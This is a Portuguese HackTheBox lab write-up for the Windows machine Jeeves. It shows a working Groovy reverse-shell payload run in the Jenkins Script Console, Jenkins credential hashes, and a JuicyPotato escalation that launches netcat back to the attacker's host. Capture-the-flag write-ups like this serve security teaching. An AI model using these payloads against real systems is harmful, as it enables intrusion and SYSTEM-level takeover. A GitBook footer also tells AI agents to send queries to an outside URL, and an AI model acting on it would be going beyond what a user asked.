> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# Relato do Jeeves HackTheBox

Relato do Jeeves HackTheBox para máquina Windows de dificuldade média, cobrindo RCE na Script Console do Jenkins, reverse shells em Groovy, JuicyPotato, SeImpersonatePrivilege e Alternate Data Streams.

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**Habilidades**

* Enumeração de rede e serviços web com Nmap e Gobuster.
* Execução remota de código na Jenkins Script Console usando Groovy.
* Escalada de privilégios no Windows com `SeImpersonatePrivilege` e JuicyPotato.
* Descoberta e extração de Fluxo de Dados Alternativo do NTFS.
  {% endhint %}

### Reconhecimento

#### Prepare o ambiente de trabalho

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fp5l0YHO2gSHtBfCwsjwX%2Fimage.png?alt=media&amp;token=80310086-70eb-4139-83d8-aed244bc0daa" alt=""><figcaption></figcaption></figure>

#### Identifique o sistema operacional

O valor de TTL de `128` indica um host Windows.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5jFy9CUPomhKJANnIbOL%2Fimage.png?alt=media&amp;token=cda5452b-ea2e-4a6c-9206-701d206ca429" alt=""><figcaption></figcaption></figure>

#### Faça uma varredura em portas abertas

Execute uma varredura TCP SYN completa:

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.129.228.112 -oG allPorts
```

A varredura identifica as portas `80`, `135`, `445`, e `50000`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYkmmNVaGo0REDPfM03ls%2Fimage.png?alt=media&amp;token=0545139f-08cb-4ae8-8059-1e5c4524668a" alt=""><figcaption></figcaption></figure>

Execute a detecção direcionada de serviços e versões:

```bash
nmap -sCV -p80,135,445,50000 10.129.228.112 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuP3RgVUGTYfOqlAkWWHu%2Fimage.png?alt=media&amp;token=bc3cf72f-c314-4809-8220-ad7e34f6308f" alt=""><figcaption></figcaption></figure>

#### Inspecione o serviço web

Porta `50000` se identifica como Jetty:

`Powered by Jetty:// 9.4.z-SNAPSHOT`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7IgTqnahoF6EtTOKW6nJ%2Fimage.png?alt=media&amp;token=aa5c877e-0782-4bec-8276-44ce3b7b7a16" alt=""><figcaption></figcaption></figure>

Enumere os caminhos web:

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.228.112:50000 -t 100
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6lA1BnuTx6uwzFckEFyX%2Fimage.png?alt=media&amp;token=f4d7ed91-30c9-4447-abb7-3600682fb702" alt=""><figcaption></figcaption></figure>

O `/askjeeves` o caminho hospeda o Jenkins `2.87`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FjUW5aId6UYTqWSQnwELs%2Fimage.png?alt=media&amp;token=b581b11e-5f4a-404e-b977-691d4af99d53" alt=""><figcaption></figcaption></figure>

### Acesso inicial

#### Use a Jenkins Script Console

Abra o **Console de Script** em `/askjeeves/script`. Ela aceita código Groovy e o executa no host do Jenkins.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgHFbFoVHTPZXDVRo6eYN%2Fimage.png?alt=media&amp;token=b7c32c15-88b6-46c3-9ecd-78c20bd1879b" alt=""><figcaption></figcaption></figure>

Execute um comando inofensivo para confirmar a execução de código:

```groovy
def process = "PowerShell.exe cmd.exe /c dir".execute()
println "Found text ${process.text}"
```

A saída do comando confirma a execução remota de código.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FprrUu6VQdEs9BI6rtkZC%2Fimage.png?alt=media&amp;token=96704baa-6567-42b8-8081-80e46be5d13d" alt=""><figcaption></figcaption></figure>

#### Obtenha uma reverse shell

Inicie um listener na porta `443`:

```bash
sudo rlwrap nc -nvlp 443
```

Execute este payload Groovy na Script Console. Substitua o endereço e a porta de callback conforme necessário.

{% code overflow="wrap" %}

```groovy
Thread.start {
String host="10.10.15.2";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
```

{% endcode %}

O listener recebe um shell como `kohsuke`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfjawZKXRlyqSQbCY6w45%2Fimage.png?alt=media&amp;token=c8566621-ea77-479b-b7ff-5da8f3557fe0" alt=""><figcaption></figcaption></figure>

#### Revise as credenciais do Jenkins

A configuração do Jenkins contém um token de API criptografado:

{% code overflow="wrap" %}

```bash
AQAAABAAAAAwID3cR3pyZaEkaDPU25Z0S+nrU8+gDgB0JEWORJ5L1P2T+zXc/tSs2IVn1ugWLaui54D6yYki4vhXQtGhqUSeFw==
```

{% endcode %}

Ela também armazena a senha do administrador como um hash BCrypt:

{% code overflow="wrap" %}

```bash
$2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fo1jp46eNfFUgn3O6U5rH%2Fimage.png?alt=media&amp;token=a1a37c1d-4efb-4fbb-a4d1-b326e56602da" alt=""><figcaption></figcaption></figure>

#### Capture a flag do usuário

{% code overflow="wrap" %}

```bash
type C:\Users\kohsuke\Desktop\user.txt
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F23OEmwXPHnpyK8EUCxfF%2Fimage.png?alt=media&amp;token=34374874-6628-48d8-bc01-5143706806b0" alt=""><figcaption></figcaption></figure>

### Escalada de privilégios

#### Transfira as ferramentas necessárias

Hospede os arquivos a partir da máquina atacante:

{% code overflow="wrap" %}

```bash
smbserver.py share $(pwd) -smb2support
```

{% endcode %}

Copie `nc.exe` e JuicyPotato para o alvo:

{% code overflow="wrap" %}

```bash
copy \\10.10.15.2\share\nc.exe C:\Users\kohsuke\Downloads\nc.exe
```

{% endcode %}

```bash
copy \\10.10.15.2\share\JuicyPotato.exe C:\Users\kohsuke\Downloads\JuicyPotato.exe
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FESrLf5YSFgIBOoDaONYl%2Fimage.png?alt=media&amp;token=e2ce0149-338b-4f76-aca1-ad0ff8508599" alt=""><figcaption></figcaption></figure>

#### Explorar `SeImpersonatePrivilege`

Inicie um listener para o shell privilegiado:

{% code overflow="wrap" %}

```bash
rlwrap nc -nlvp 4444
```

{% endcode %}

Execute o JuicyPotato para gerar `nc.exe` como `NT AUTHORITY\SYSTEM`:

{% code overflow="wrap" %}

```bash
.\JuicyPotato.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/kohsuke/Downloads/nc.exe -e cmd 10.10.15.2 4444"
```

{% endcode %}

O callback é executado como `NT AUTHORITY\SYSTEM`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhIN4Z86m8iJHIerulqL8%2Fimage.png?alt=media&amp;token=d1a66516-50ed-49ef-8e77-6a82f597665f" alt=""><figcaption></figcaption></figure>

### Flag de root

Liste os fluxos de dados alternativos no diretório da área de trabalho do Administrador:

```cmd
cd C:\Users\Administrator\Desktop
dir /r
```

A saída mostra a flag no fluxo `hm.txt:root.txt:$DATA` . Leia-a diretamente:

```bash
more < hm.txt:root.txt:$DATA
```

Isso conclui a máquina como `NT AUTHORITY\SYSTEM`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FKQnhNBDF9syZbsWUSwBW%2Fimage.png?alt=media&amp;token=b527308d-7019-4534-a58d-1fd1046a23f0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcTRj5nHStNJyCplC0Dnl%2Fimage.png?alt=media&amp;token=92bc0bd3-f976-4e3c-a90d-e18bec111bc0" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
